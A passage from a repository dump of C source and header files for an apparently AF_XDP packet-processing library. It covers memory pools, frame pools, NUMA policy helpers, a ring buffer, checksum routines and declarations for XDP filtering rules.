2 | * huangying email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_FRAMEPOOL_H_
5 | #define _XDP_FRAMEPOOL_H_
6 | #include "xdp_ring.h"
7 | #include "xdp_mempool.h"
8 |
9 | #ifdef __cplusplus
10 | extern "C" {
11 | #endif
12 |
13 | #define xdp_frame_get_addr_offset(p, t, o) \
14 | ((t)((uint8_t *)(p) + (p)->data_off + (o)))
15 | #define xdp_frame_get_addr(p, t) \
16 | xdp_frame_get_addr_offset(p, t, 0)
17 |
18 | struct xdp_framepool;
19 | struct xdp_frame {
20 | struct xdp_framepool *fpool;
21 | off_t data_off;
22 | size_t data_len;
23 | } XDP_CACHE_ALIGN;
24 |
25 | struct xdp_framepool {
26 | uint32_t frame_size;
27 | uint32_t frame_headroom;
28 | struct xdp_ring *ring;
29 | size_t count;
30 | size_t comp_count;
31 | void *base_addr;
32 | } XDP_CACHE_ALIGN;
33 |
34 |
35 | size_t xdp_framepool_memory_addr_size(uint32_t len, size_t frame_size,
36 | size_t frame_headroom);
37 | struct xdp_framepool *xdp_framepool_create(struct xdp_mempool *pool,
38 | uint32_t len, uint32_t comp_len, size_t frame_size, size_t frame_headroom);
39 | unsigned int xdp_framepool_get_frame(struct xdp_framepool *fp,
40 | struct xdp_frame **frame_list, size_t count);
41 | unsigned int xdp_framepool_put_frame(struct xdp_framepool *fp,
42 | struct xdp_frame **frame_list, size_t count);
43 | void xdp_framepool_free_frame(struct xdp_frame *frame);
44 | #ifdef __cplusplus
45 | }
46 | #endif
47 | #endif
48 |
--------------------------------------------------------------------------------
/xdp_heap.c:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying email: hy_gzr@163.com
3 | */
4 | #include
5 | #include
6 |
7 | #include "xdp_heap.h"
8 | #include "xdp_mempool.h"
9 | #include "xdp_log.h"
10 |
11 | static int xdp_heap_init(__attribute__((unused))void *data);
12 | static int xdp_heap_release(__attribute__((unused))void *data);
13 | static struct xdp_mempool *xdp_heap_reserve(int node, size_t size,
14 | __attribute__((unused))void *data);
15 | static int xdp_heap_revert(struct xdp_mempool *pool,
16 | __attribute__((unused))void *data);
17 |
18 | struct xdp_mempool_ops heap_mempool_ops = {
19 | .private_data = NULL,
20 | .init = xdp_heap_init,
21 | .release = xdp_heap_release,
22 | .reserve = xdp_heap_reserve,
23 | .revert = xdp_heap_revert,
24 | };
25 |
26 | inline struct xdp_mempool_ops *xdp_heap_get_ops(void)
27 | {
28 | return &heap_mempool_ops;
29 | }
30 |
31 | static int xdp_heap_init(__attribute__((unused))void *data)
32 | {
33 | return 0;
34 | }
35 |
36 | static int xdp_heap_release(__attribute__((unused))void *data)
37 | {
38 | return 0;
39 | }
40 |
41 | static struct xdp_mempool *
42 | xdp_heap_reserve(int node, size_t size, __attribute__((unused))void *data)
43 | {
44 | size_t reserve_size;
45 | struct xdp_mempool *pool = NULL;
46 | void *addr = NULL;
47 |
48 | reserve_size = (size_t)XDP_ALIGN(size + sizeof(struct xdp_mempool), XDP_PAGESIZE);
49 | addr = mmap(NULL, reserve_size, PROT_READ|PROT_WRITE,
50 | MAP_ANONYMOUS | MAP_SHARED, -1, 0);
51 | if (!addr || addr == MAP_FAILED) {
52 | ERR_OUT("mmap failed, err: %d", errno);
53 | return NULL;
54 | }
55 | pool = addr;
56 | pool->total_size = reserve_size;
57 | pool->start = addr + sizeof(struct xdp_mempool);
58 | pool->end = addr + reserve_size;
59 | pool->last = pool->start;
60 | pool->size = pool->end - pool->last;
61 | pool->numa_node = node;
62 | pool->ops_index = XDP_DEFAULT_OPS;
63 | return pool;
64 | }
65 |
66 | static int
67 | xdp_heap_revert(struct xdp_mempool *pool, __attribute__((unused))void *data)
68 | {
69 | return munmap(pool, pool->total_size);
70 | }
71 |
--------------------------------------------------------------------------------
/xdp_heap.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_HEAP_H_
5 | #define _XDP_HEAP_H_
6 | #ifdef __cplusplus
7 | extern "C" {
8 | #endif
9 | extern struct xdp_mempool_ops heap_mempool_ops;
10 | struct xdp_mempool_ops *xdp_heap_get_ops(void);
11 | #ifdef __cplusplus
12 | }
13 | #endif
14 | #endif
15 |
--------------------------------------------------------------------------------
/xdp_hugepage.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email:hy_gzr@163.com
3 | */
4 | #ifndef _XDP_HUGEPAGE_H_
5 | #define _XDP_HUGEPAGE_H_
6 |
7 | #ifndef XDP_HUGEPAGE_SUBDIR
8 | #define XDP_HUGEPAGE_SUBDIR "xdp_hugepages"
9 | #endif
10 |
11 | #ifndef XDP_HUGEPAGE_MAP_FILE
12 | #define XDP_HUGEPAGE_MAP_FILE "xdp_map"
13 | #endif
14 |
15 | #ifndef XDP_HUGEPAGE_HOME
16 | #define XDP_HUGEPAGE_HOME "/mnt"
17 | #endif
18 |
19 | #ifdef __cplusplus
20 | extern "C" {
21 | #endif
22 | extern struct xdp_mempool_ops hugepage_mempool_ops;
23 | struct xdp_mempool_ops *xdp_hugepage_get_ops(void);
24 | #ifdef __cplusplus
25 | }
26 | #endif
27 | #endif
28 |
--------------------------------------------------------------------------------
/xdp_ipv4.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_IPV4_H_
5 | #define _XDP_IPV4_H_
6 | #include
7 | #include
8 |
9 | #include "xdp_net.h"
10 |
11 | #ifdef __cplusplsu
12 | extern "C" {
13 | #endif
14 | #define xdp_ipv4_likely(x) __builtin_expect(!!(x), 1)
15 |
16 | static inline int xdp_ipv4_check_len(uint16_t hdr_len,
17 | uint16_t total_len, struct xdp_frame *frame)
18 | {
19 | return xdp_ipv4_likely(
20 | hdr_len == sizeof(struct iphdr)
21 | && total_len > hdr_len
22 | && frame->data_len >= sizeof(struct ethhdr) + (total_len));
23 | }
24 |
25 | static inline uint16_t xdp_ipv4_get_hdr_len(struct iphdr *hdr)
26 | {
27 | return hdr->ihl << 2;
28 | }
29 | static inline uint16_t xdp_ipv4_get_total_len(struct iphdr *hdr)
30 | {
31 | return xdp_ntohs(hdr->tot_len);
32 | }
33 |
34 | #ifdef __cplusplsu
35 | }
36 | #endif
37 | #endif
38 |
--------------------------------------------------------------------------------
/xdp_ipv6.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_IPV6_H_
5 | #define _XDP_IPV6_H_
6 | #ifdef __cplusplus
7 |
8 | #include "xdp_framepool.h"
9 |
10 | extern "C" {
11 | #endif
12 | #define xdp_ipv6_likely(x) __builtin_expect(!!(x), 1)
13 |
14 | static inline int xdp_ipv6_check_len(struct ipv6hdr *hdr,
15 | struct xdp_frame *frame)
16 | {
17 | return xdp_ipv6_likely(frame->data_len
18 | >= sizeof(struct ethhdr) + (hdr->payload_len));
19 | }
20 |
21 | #ifdef __cplusplus
22 | }
23 | #endif
24 | #endif
25 |
--------------------------------------------------------------------------------
/xdp_kern_prog/xdp_kern_prog.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com, huangying-c@360.cn
3 | */
4 |
5 | #ifndef _XDP_KERN_PROG_H_
6 | #define _XDP_KERN_PROG_H_
7 | #define _textify(x) #x
8 | #define textify(x) _textify(x)
9 |
10 | #define XDP_ACTION_API static __always_inline
11 | #define XDP_ACTION_DEFINE(_type) \
12 | XDP_ACTION_API __u32 action_##_type(struct hdr_cursor *cur, void *data_end)
13 | #define XDP_ACTION_CALL(_type, ...) action_##_type(__VA_ARGS__)
14 |
15 | #define MAP_NAME(_type) map_action_##_type
16 | #define MAP_REF(_type) &MAP_NAME(_type)
17 | #define MAP_DEFINE(_type) struct bpf_map_def SEC("maps") MAP_NAME(_type)
18 |
19 | #define XSKS_MAP_DEFINE struct bpf_map_def SEC("maps") xsks_map
20 | #define XSKS_MAP_REF &xsks_map
21 | #define XSKS_MAP_NAME xsks_map
22 |
23 | #define XDP_ROUND_MASK(x, y) ((__typeof__(x))((y)-1))
24 | #define XDP_ROUND_UP(x, y) ((((x) - 1) | XDP_ROUND_MASK(x, y)) + 1)
25 | #define XDP_PERCPU_HASH_VAL_SIZE(s) XDP_ROUND_UP(s, 8)
26 |
27 | #define MAP_INIT(_t, _ks, _vs, _me) \
28 | { \
29 | .type = (_t), \
30 | .key_size = (_ks), \
31 | .value_size = (_vs), \
32 | .max_entries = (_me), \
33 | }
34 |
35 | #define MAP_INIT_NO_PREALLOC(_t, _ks, _vs, _me) \
36 | { \
37 | .type = (_t), \
38 | .key_size = (_ks), \
39 | .value_size = (_vs), \
40 | .max_entries = (_me), \
41 | .map_flags = BPF_F_NO_PREALLOC \
42 | }
43 |
44 | #ifndef MAX_LPM_IPV4_NUM
45 | #define MAX_LPM_IPV4_NUM (1024)
46 | #endif
47 |
48 | #ifndef MAX_LPM_IPV6_NUM
49 | #define MAX_LPM_IPV6_NUM (1024)
50 | #endif
51 |
52 | #endif
53 |
--------------------------------------------------------------------------------
/xdp_log.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 |
5 | #ifndef _XDP_LOG_H_
6 | #define _XDP_LOG_H_
7 |
8 | #include
9 | #include
10 |
11 |
12 | #if defined XDP_DEBUG
13 |
14 | #define DEBUG_OUT(format, args...) \
15 | fprintf(stderr, "[DEBUG] "); \
16 | fprintf(stderr, format, ##args); \
17 | fprintf(stderr, "\n")
18 |
19 | #elif defined XDP_DEBUG_VERBOSE
20 |
21 | #define DEBUG_OUT(format, args...) \
22 | fprintf(stderr, "[%s:%d %s DEBUG] ", __FILE__, __LINE__, __func__); \
23 | fprintf(stderr, format, ##args);\
24 | fprintf(stderr, "\n")
25 | #else
26 |
27 | #define DEBUG_OUT(format, args...) do{}while(0)
28 |
29 | #endif
30 |
31 | #ifdef XDP_ERROR_VERBOSE
32 |
33 | #define XDP_PANIC(format, args...) \
34 | fprintf(stderr, "[%s:%d %s OOPS] ", __FILE__, __LINE__, __func__); \
35 | fprintf(stderr, format, ##args);\
36 | fprintf(stderr, "\n"); \
37 | abort()
38 |
39 | #define ERR_OUT(format, args...) \
40 | fprintf(stderr, "[%s:%d %s ERR] ", __FILE__, __LINE__, __func__); \
41 | fprintf(stderr, format, ##args);\
42 | fprintf(stderr, "\n")
43 |
44 | #define WARN_OUT(format, args...) \
45 | fprintf(stderr, "[%s:%d %s WARN] ", __FILE__, __LINE__, __func__); \
46 | fprintf(stderr, format, ##args);\
47 | fprintf(stderr, "\n")
48 |
49 | #else
50 |
51 | #define ERR_OUT(format, args...) \
52 | fprintf(stderr, "[ERR] "); \
53 | fprintf(stderr, format, ##args); \
54 | fprintf(stderr, "\n")
55 |
56 | #define WARN_OUT(format, args...) \
57 | fprintf(stderr, "[WARN] "); \
58 | fprintf(stderr, format, ##args); \
59 | fprintf(stderr, "\n")
60 |
61 | #define XDP_PANIC(format, args...) \
62 | fprintf(stderr, "[OOPS] "); \
63 | fprintf(stderr, format, ##args); \
64 | fprintf(stderr, "\n");\
65 | abort()
66 |
67 | #endif
68 |
69 | #endif
70 |
--------------------------------------------------------------------------------
/xdp_mempool.c:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying email: hy_gzr@163.com
3 | */
4 | #include
5 |
6 | #include "xdp_numa.h"
7 | #include "xdp_mempool.h"
8 | #include "xdp_heap.h"
9 | #include "xdp_hugepage.h"
10 | #include "xdp_log.h"
11 |
12 | static struct xdp_mempool_ops *mempool_ops[] = {
13 | &hugepage_mempool_ops,
14 | &heap_mempool_ops,
15 | NULL};
16 |
17 | struct xdp_mempool* xdp_mempool_create(int numa_node, size_t size)
18 | {
19 | struct xdp_mempool_ops *ops = NULL;
20 | struct xdp_mempool *pool = NULL;
21 | struct bitmask *oldmask = NULL;
22 |
23 | int oldpolicy;
24 | int ret = 0;
25 | int numa_on = 0;
26 | int i = 0;
27 |
28 |
29 | if (numa_node >= 0 && xdp_numa_check()) {
30 | xdp_numa_set(numa_node, &oldpolicy, &oldmask);
31 | numa_on = 1;
32 | }
33 |
34 | while ((ops = mempool_ops[i++])) {
35 | ret = ops->init(ops->private_data);
36 | if (ret < 0) {
37 | continue;
38 | }
39 | pool = ops->reserve(numa_node, size, ops->private_data);
40 | if (pool) {
41 | break;
42 | }
43 | ops->release(ops->private_data);
44 | }
45 |
46 | if (numa_on) {
47 | xdp_numa_restore(oldpolicy, oldmask);
48 | }
49 | return pool;
50 | }
51 |
52 | void xdp_mempool_release(struct xdp_mempool *pool)
53 | {
54 | struct xdp_mempool_ops *ops;
55 | if (!pool) {
56 | return;
57 | }
58 | ops = mempool_ops[pool->ops_index];
59 | ops->revert(pool, ops->private_data);
60 | ops->release(ops->private_data);
61 | }
62 |
63 | void *xdp_mempool_alloc(struct xdp_mempool *pool, size_t size, size_t align)
64 | {
65 | void *addr;
66 |
67 | if (pool->end - pool->last < size) {
68 | ERR_OUT("memory is not enough for size %lu", size);
69 | return NULL;
70 | }
71 | addr = pool->last;
72 | if (XDP_IS_POWER2(align)) {
73 | addr = (void *)XDP_ALIGN((uintptr_t)addr, align);
74 | }
75 |
76 | if (pool->end - addr < size) {
77 | ERR_OUT("aligned addr memory is not enough for size %lu", size);
78 | return NULL;
79 | }
80 | pool->last = addr + size;
81 |
82 | return addr;
83 | }
84 |
85 | void *
86 | xdp_mempool_calloc(struct xdp_mempool *pool, size_t size, size_t n,
87 | size_t align)
88 | {
89 | void *addr;
90 | size_t total_size = size * n;
91 |
92 | addr = xdp_mempool_alloc(pool, total_size, align);
93 | memset(addr, 0, total_size);
94 |
95 | return addr;
96 | }
97 |
--------------------------------------------------------------------------------
/xdp_mempool.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_MEMPOOL_H_
5 | #define _XDP_MEMPOOL_H_
6 | #include
7 | #include
8 |
9 | #ifdef __cplusplus
10 | extern "C" {
11 | #endif
12 |
13 | #ifndef XDP_CACHE_LINE
14 | #define XDP_CACHE_LINE 64
15 | #endif
16 |
17 | #define XDP_CACHE_ALIGN __attribute__((aligned(XDP_CACHE_LINE)))
18 | #define XDP_ALIGN(_s, _m) (((_s) + (_m) - 1) & ~((_m) - 1))
19 | #define XDP_IS_POWER2(n) ((n) && !(((n) - 1) & (n)))
20 | #define XDP_PAGESIZE 4096
21 |
22 | enum {
23 | XPD_HUGEPAGE_OPS = 0,
24 | XDP_DEFAULT_OPS,
25 | };
26 |
27 | struct xdp_mempool {
28 | void *start;
29 | void *end;
30 | void *last;
31 | size_t size;
32 | size_t total_size;
33 | int numa_node;
34 | int ops_index;
35 | } XDP_CACHE_ALIGN;
36 |
37 | struct xdp_mempool_ops {
38 | void *private_data;
39 | int (*init) (void *);
40 | int (*release) (void *);
41 | struct xdp_mempool* (*reserve) (int, size_t, void *);
42 | int (*revert) (struct xdp_mempool *, void *);
43 | };
44 |
45 | struct xdp_mempool *xdp_mempool_create(int numa_node, size_t size);
46 | void xdp_mempool_release(struct xdp_mempool *pool);
47 | void *xdp_mempool_alloc(struct xdp_mempool *pool, size_t size, size_t align);
48 | void *xdp_mempool_calloc(struct xdp_mempool *pool, size_t size, size_t n,
49 | size_t align);
50 |
51 | static inline uint32_t xdp_combine_ms1b_32(uint32_t x)
52 | {
53 | x |= x >> 1;
54 | x |= x >> 2;
55 | x |= x >> 4;
56 | x |= x >> 8;
57 | x |= x >> 16;
58 |
59 | return x;
60 | }
61 |
62 | static inline uint32_t xdp_align_pow2_32(uint32_t x)
63 | {
64 | x--;
65 | x = xdp_combine_ms1b_32(x);
66 | return x + 1;
67 | }
68 |
69 | static inline uint64_t xdp_combine_ms1b_64(uint64_t v)
70 | {
71 | v |= v >> 1;
72 | v |= v >> 2;
73 | v |= v >> 4;
74 | v |= v >> 8;
75 | v |= v >> 16;
76 | v |= v >> 32;
77 |
78 | return v;
79 | }
80 |
81 | static inline uint64_t xdp_align_pow2_64(uint64_t v)
82 | {
83 | v--;
84 | v = xdp_combine_ms1b_64(v);
85 | return v + 1;
86 | }
87 |
88 | #ifdef __cplusplus
89 | }
90 | #endif
91 | #endif
92 |
--------------------------------------------------------------------------------
/xdp_net.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_NET_H_
5 | #define _XDP_NET_H_
6 |
7 | #include
8 | #include
9 | #ifdef __cplusplus
10 | extern "C" {
11 | #endif
12 | #if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
13 | # define __xdp_ntohs(x) __builtin_bswap16(x)
14 | # define __xdp_htons(x) __builtin_bswap16(x)
15 | # define __xdp_constant_ntohs(x) ___constant_swab16(x)
16 | # define __xdp_constant_htons(x) ___constant_swab16(x)
17 | # define __xdp_ntohl(x) __builtin_bswap32(x)
18 | # define __xdp_htonl(x) __builtin_bswap32(x)
19 | # define __xdp_constant_ntohl(x) ___constant_swab32(x)
20 | # define __xdp_constant_htonl(x) ___constant_swab32(x)
21 | # define __xdp_be64_to_cpu(x) __builtin_bswap64(x)
22 | # define __xdp_cpu_to_be64(x) __builtin_bswap64(x)
23 | # define __xdp_constant_be64_to_cpu(x) ___constant_swab64(x)
24 | # define __xdp_constant_cpu_to_be64(x) ___constant_swab64(x)
25 | #elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
26 | # define __xdp_ntohs(x) (x)
27 | # define __xdp_htons(x) (x)
28 | # define __xdp_constant_ntohs(x) (x)
29 | # define __xdp_constant_htons(x) (x)
30 | # define __xdp_ntohl(x) (x)
31 | # define __xdp_htonl(x) (x)
32 | # define __xdp_constant_ntohl(x) (x)
33 | # define __xdp_constant_htonl(x) (x)
34 | # define __xdp_be64_to_cpu(x) (x)
35 | # define __xdp_cpu_to_be64(x) (x)
36 | # define __xdp_constant_be64_to_cpu(x) (x)
37 | # define __xdp_constant_cpu_to_be64(x) (x)
38 | #else
39 | # error "Fix your compiler's __BYTE_ORDER__?!"
40 | #endif
41 |
42 | #define xdp_htons(x) \
43 | (__builtin_constant_p(x) ? \
44 | __xdp_constant_htons(x) : __xdp_htons(x))
45 | #define xdp_ntohs(x) \
46 | (__builtin_constant_p(x) ? \
47 | __xdp_constant_ntohs(x) : __xdp_ntohs(x))
48 | #define xdp_htonl(x) \
49 | (__builtin_constant_p(x) ? \
50 | __xdp_constant_htonl(x) : __xdp_htonl(x))
51 | #define xdp_ntohl(x) \
52 | (__builtin_constant_p(x) ? \
53 | __xdp_constant_ntohl(x) : __xdp_ntohl(x))
54 | #define xdp_cpu_to_be64(x) \
55 | (__builtin_constant_p(x) ? \
56 | __xdp_constant_cpu_to_be64(x) : __xdp_cpu_to_be64(x))
57 | #define xdp_be64_to_cpu(x) \
58 | (__builtin_constant_p(x) ? \
59 | __xdp_constant_be64_to_cpu(x) : __xdp_be64_to_cpu(x))
60 |
61 | static inline uint16_t
62 | xdp_raw_checksum_reduce(uint32_t sum)
63 | {
64 | sum = ((sum & 0xffff0000) >> 16) + (sum & 0xffff);
65 | sum = ((sum & 0xffff0000) >> 16) + (sum & 0xffff);
66 | return (uint16_t)sum;
67 | }
68 |
69 | static inline uint32_t
70 | __xdp_raw_checksum(const void *buf, size_t len, uint32_t sum)
71 | {
72 | uintptr_t ptr = (uintptr_t)buf;
73 | typedef uint16_t __attribute__((__may_alias__)) u16_p;
74 | const u16_p *u16_buf = (const u16_p *)ptr;
75 |
76 | while (len >= (sizeof(*u16_buf) * 4)) {
77 | sum += u16_buf[0];
78 | sum += u16_buf[1];
79 | sum += u16_buf[2];
80 | sum += u16_buf[3];
81 | len -= sizeof(*u16_buf) * 4;
82 | u16_buf += 4;
83 | }
84 | while (len >= sizeof(*u16_buf)) {
85 | sum += *u16_buf;
86 | len -= sizeof(*u16_buf);
87 | u16_buf += 1;
88 | }
89 |
90 | if (len == 1)
91 | sum += *((const uint8_t *)u16_buf);
92 |
93 | return sum;
94 | }
95 |
96 | static inline uint16_t xdp_raw_checksum(const void *buf, size_t len)
97 | {
98 | uint32_t sum;
99 | sum = __xdp_raw_checksum(buf, len, 0);
100 | return xdp_raw_checksum_reduce(sum);
101 | }
102 |
103 | static inline uint16_t
104 | xdp_ipv4_phdr_checksum(const struct iphdr *ipv4_hdr)
105 | {
106 | struct ipv4_psd_header {
107 | uint32_t src_addr;
108 | uint32_t dst_addr;
109 | uint8_t zero;
110 | uint8_t proto;
111 | uint16_t len;
112 | } psd_hdr;
113 |
114 | psd_hdr.src_addr = ipv4_hdr->saddr;
115 | psd_hdr.dst_addr = ipv4_hdr->daddr;
116 | psd_hdr.zero = 0;
117 | psd_hdr.proto = ipv4_hdr->protocol;
118 | psd_hdr.len = xdp_htons((uint16_t)(xdp_ntohs(ipv4_hdr->tot_len)
119 | - sizeof(struct iphdr)));
120 | return xdp_raw_checksum(&psd_hdr, sizeof(psd_hdr));
121 | }
122 |
123 | static inline uint16_t
124 | xdp_ipv4_udptcp_checksum(const struct iphdr *iphdr, const void *l4_hdr)
125 | {
126 | uint32_t cksum;
127 | uint32_t l4_len;
128 | uint32_t l3_len;
129 |
130 | l3_len = xdp_ntohs(iphdr->tot_len);
131 | if (l3_len < sizeof(struct iphdr))
132 | return 0;
133 |
134 | l4_len = l3_len - sizeof(struct iphdr);
135 |
136 | cksum = xdp_raw_checksum(l4_hdr, l4_len);
137 | cksum += xdp_ipv4_phdr_checksum(iphdr);
138 |
139 | cksum = ((cksum & 0xffff0000) >> 16) + (cksum & 0xffff);
140 | cksum = (~cksum) & 0xffff;
141 | if (cksum == 0)
142 | cksum = 0xffff;
143 |
144 | return (uint16_t)cksum;
145 | }
146 |
147 | static inline uint16_t
148 | xdp_ipv4_checksum(const struct iphdr *ipv4_hdr)
149 | {
150 | uint16_t cksum;
151 | cksum = xdp_raw_checksum(ipv4_hdr, sizeof(struct iphdr));
152 | return (cksum == 0xffff) ? cksum : (uint16_t)~cksum;
153 | }
154 |
155 | static inline uint16_t
156 | xdp_ipv6_phdr_checksum(const struct ipv6hdr *ipv6_hdr)
157 | {
158 | uint32_t sum;
159 | struct {
160 | uint32_t len;
161 | uint32_t proto;
162 | } psd_hdr;
163 |
164 | psd_hdr.proto = (uint32_t)(ipv6_hdr->nexthdr << 24);
165 | psd_hdr.len = ipv6_hdr->payload_len;
166 |
167 | sum = __xdp_raw_checksum(&ipv6_hdr->saddr, sizeof(ipv6_hdr->saddr)
168 | + sizeof(ipv6_hdr->daddr), 0);
169 | sum = __xdp_raw_checksum(&psd_hdr, sizeof(psd_hdr), sum);
170 | return xdp_raw_checksum_reduce(sum);
171 | }
172 |
173 | static inline uint16_t
174 | xdp_ipv6_udptcp_checksum(const struct ipv6hdr *ipv6_hdr, const void *l4_hdr)
175 | {
176 | uint32_t cksum;
177 | uint32_t l4_len;
178 |
179 | l4_len = xdp_ntohs(ipv6_hdr->payload_len);
180 |
181 | cksum = xdp_raw_checksum(l4_hdr, l4_len);
182 | cksum += xdp_ipv6_phdr_checksum(ipv6_hdr);
183 |
184 | cksum = ((cksum & 0xffff0000) >> 16) + (cksum & 0xffff);
185 | cksum = (~cksum) & 0xffff;
186 | if (cksum == 0)
187 | cksum = 0xffff;
188 |
189 | return (uint16_t)cksum;
190 | }
191 |
192 | #ifdef __cplusplus
193 | }
194 | #endif
195 |
196 | #endif
197 |
--------------------------------------------------------------------------------
/xdp_numa.c:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying email: hy_gzr@163.com
3 | */
4 | #include
5 |
6 | #include "xdp_numa.h"
7 | #include "xdp_log.h"
8 |
9 | inline int xdp_numa_check(void)
10 | {
11 | return numa_available() ? 0 : 1;
12 | }
13 |
14 | void xdp_numa_set(int node, int *oldpolicy, struct bitmask **oldmask)
15 | {
16 | int ret;
17 |
18 | *oldmask = numa_allocate_nodemask();
19 | ret = get_mempolicy(oldpolicy, (*oldmask)->maskp, (*oldmask)->size + 1, 0, 0);
20 | if (ret < 0) {
21 | *oldpolicy = MPOL_DEFAULT;
22 | }
23 | numa_set_preferred(node);
24 | }
25 |
26 | void xdp_numa_restore(int oldpolicy, struct bitmask *oldmask)
27 | {
28 | if (oldpolicy == MPOL_DEFAULT) {
29 | numa_set_localalloc();
30 | } else if (set_mempolicy(oldpolicy, oldmask->maskp,
31 | oldmask->size + 1) < 0) {
32 | ERR_OUT("set_mempolicy failed, err: %d", errno);
33 | numa_set_localalloc();
34 | }
35 |
36 | numa_free_cpumask(oldmask);
37 | }
38 |
--------------------------------------------------------------------------------
/xdp_numa.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_NUMA_H_
5 | #define _XDP_NUMA_H_
6 | #include
7 | #include
8 | #ifdef __cplusplus
9 | extern "C" {
10 | #endif
11 | int xdp_numa_check(void);
12 | void xdp_numa_set(int node, int *oldpolicy, struct bitmask **oldmask);
13 | void xdp_numa_restore(int oldpolicy, struct bitmask *oldmask);
14 | #ifdef __cplusplus
15 | }
16 | #endif
17 | #endif
18 |
--------------------------------------------------------------------------------
/xdp_prefetch.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 |
5 | #ifndef _XDP_PREFETCH_X86_64_H_
6 | #define _XDP_PREFETCH_X86_64_H_
7 | #include
8 | #ifdef __cplusplus
9 | extern "C" {
10 | #endif
11 |
12 | #ifdef XDP_PREFETCH_DEFAULT_NUM
13 | #define XDP_PREFETCH_DEFAULT_NUM 3
14 | #endif
15 |
16 | #ifdef _mm_prefetch
17 | static inline void xdp_prefetch0(const void *p)
18 | {
19 | _mm_prefetch(p, _MM_HINT_T0);
20 | }
21 |
22 | static inline void xdp_prefetch1(const void *p)
23 | {
24 | _mm_prefetch(p, _MM_HINT_T1);
25 | }
26 | static inline void xdp_prefetch2(const void *p)
27 | {
28 | _mm_prefetch(p, _MM_HINT_T2);
29 | }
30 | static inline void xdp_prefetch_nta(const void *p)
31 | {
32 | _mm_prefetch(p, _MM_HINT_NTA);
33 | }
34 | #else
35 | static inline void xdp_prefetch0(const void *p)
36 | {
37 | asm volatile ("prefetcht0 %[p]" : : [p] "m" (*(const volatile char *)p));
38 | }
39 |
40 | static inline void xdp_prefetch1(const void *p)
41 | {
42 | asm volatile ("prefetcht1 %[p]" : : [p] "m" (*(const volatile char *)p));
43 | }
44 |
45 | static inline void xdp_prefetch2(const void *p)
46 | {
47 | asm volatile ("prefetcht2 %[p]" : : [p] "m" (*(const volatile char *)p));
48 | }
49 |
50 | static inline void xdp_prefetch_nta(const void *p)
51 | {
52 | asm volatile ("prefetchnta %[p]" : : [p] "m" (*(const volatile char *)p));
53 | }
54 | #endif
55 |
56 | #ifdef __cplusplus
57 | }
58 | #endif
59 |
60 | #endif /* _RTE_PREFETCH_X86_64_H_ */
61 |
--------------------------------------------------------------------------------
/xdp_prog.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_PROG_H_
5 | #define _XDP_PROG_H_
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include "xdp_eth.h"
13 |
14 | #ifdef __cplusplus
15 | extern "C" {
16 | #endif
17 | enum {
18 | XDP_UPDATE_IP_SRC = 0,
19 | XDP_UPDATE_IP_DST
20 | };
21 |
22 | int xdp_prog_init(const char *ifname, const char *prog, const char *section);
23 | void xdp_prog_release(void);
24 |
25 | int xdp_prog_update_l3(uint16_t l3_proto, uint32_t action);
26 | int xdp_prog_update_l4(uint8_t l4_proto, uint32_t action);
27 | int xdp_prog_update_tcpport(uint16_t port, uint32_t action);
28 | int xdp_prog_update_udpport(uint16_t port, uint32_t action);
29 | int xdp_prog_update_ipv4(struct in_addr *addr,
30 | uint32_t prefix, int type, uint32_t action);
31 | int xdp_prog_update_ipv6(struct in6_addr *addr,
32 | uint32_t prefix, int type, uint32_t action);
33 | #ifdef __cplusplus
34 | }
35 | #endif
36 | #endif
37 |
--------------------------------------------------------------------------------
/xdp_ring.c:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying email: hy_gzr@163.com
3 | */
4 | #include "xdp_ring.h"
5 | inline size_t xdp_ring_memory_size(uint32_t count)
6 | {
7 | size_t size;
8 | if (!XDP_IS_POWER2(count)) {
9 | return 0;
10 | }
11 | size = sizeof(struct xdp_ring) + count * sizeof(void *);
12 | size = XDP_ALIGN(size, XDP_CACHE_LINE);
13 | return size;
14 | }
15 |
16 | struct xdp_ring *
17 | xdp_ring_create(struct xdp_mempool *pool, uint32_t count, int flags)
18 | {
19 | struct xdp_ring *ring = NULL;
20 | void *addr;
21 | size_t size;
22 | uint32_t n;
23 |
24 | n = xdp_align_pow2_32(count);
25 | size = xdp_ring_memory_size(n);
26 | if (!size) {
27 | return NULL;
28 | }
29 | addr = xdp_mempool_alloc(pool, size, XDP_CACHE_LINE);
30 | if (!addr) {
31 | return NULL;
32 | }
33 | ring = (struct xdp_ring *)addr;
34 |
35 | ring->size = n;
36 | ring->mask = n - 1;
37 | ring->capacity = count;
38 | ring->prod.head = ring->prod.tail = 0;
39 | ring->cons.head = ring->cons.tail = 0;
40 | if (flags & XDP_RING_SP_ENQ) {
41 | ring->prod.single = 1;
42 | } else {
43 | ring->prod.single = 0;
44 | }
45 | if (flags & XDP_RING_SC_DEQ) {
46 | ring->cons.single = 1;
47 | } else {
48 | ring->cons.single = 0;
49 | }
50 |
51 | return ring;
52 | }
53 |
54 |
--------------------------------------------------------------------------------
/xdp_runtime.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
